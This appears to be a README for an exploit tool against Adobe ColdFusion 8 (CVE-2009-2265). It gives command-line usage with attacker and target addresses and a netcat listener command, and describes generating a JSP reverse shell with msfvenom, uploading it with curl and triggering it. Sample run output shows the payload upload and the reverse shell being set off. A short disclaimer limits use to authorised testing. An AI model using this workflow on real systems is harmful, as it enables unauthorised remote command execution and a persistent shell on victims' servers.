
Adobe ColdFusion 8 - Remote Command Execution (RCE)
This exploit targets a known vulnerability in Adobe ColdFusion 8 (CVE-2009-2265). It enables remote command execution (RCE) by uploading a malicious JSP payload that establishes a reverse shell connection.
msfvenom.To use this exploit, you need the following:
./CVE-2009-2265 -l <LHOST> -p <LPORT> -r <RHOST> -q <RPORT>
-l <LHOST>: Local attacker IP (e.g., 10.10.16.5).-p <LPORT>: Local attacker port for the reverse shell (e.g., 9001).-r <RHOST>: Remote target IP (e.g., 10.10.10.11).-q <RPORT>: Remote target port where ColdFusion is running (e.g., 8500)../CVE-2009-2265 -l 10.10.16.5 -p 9001 -r 10.10.10.11 -q 8500
Start a listener on your attacker machine:
nc -lnvp 9001
Run the exploit with the appropriate arguments.
Once executed, the payload will connect back to your listener.
Generate Payload:
msfvenom to generate a malicious JSP payload.Upload Payload:
Trigger Payload:
Establish Reverse Shell:
msfvenom for payload generation.curl for file upload and triggering the payload.nc (Netcat) for listening to reverse shell connections.[+] Generating JSP reverse shell payload...
[+] Payload saved as 'abcd1234-5678-90ef-ghij-1234567890ab.jsp'.
[+] Uploading the payload to the target...
[+] Server response:
<script type="text/javascript">
window.parent.OnUploadCompleted(0, "/userfiles/file/abcd1234-5678-90ef-ghij-1234567890ab.jsp", "abcd1234-5678-90ef-ghij-1234567890ab.txt", "0");
</script>
[+] Waiting for the Netcat listener to start on port 9001...
[+] Netcat listener detected running on port 9001!
[+] Attempting to trigger the payload...
[+] Payload triggered successfully. Check your listener for the reverse shell.
[+] Cleaning up local files...
[+] Done!
This script is for educational purposes only. Use it on systems you own or have explicit permission to test. Unauthorized use of this exploit on systems you do not own is illegal and unethical.
Developed by [0xDTC].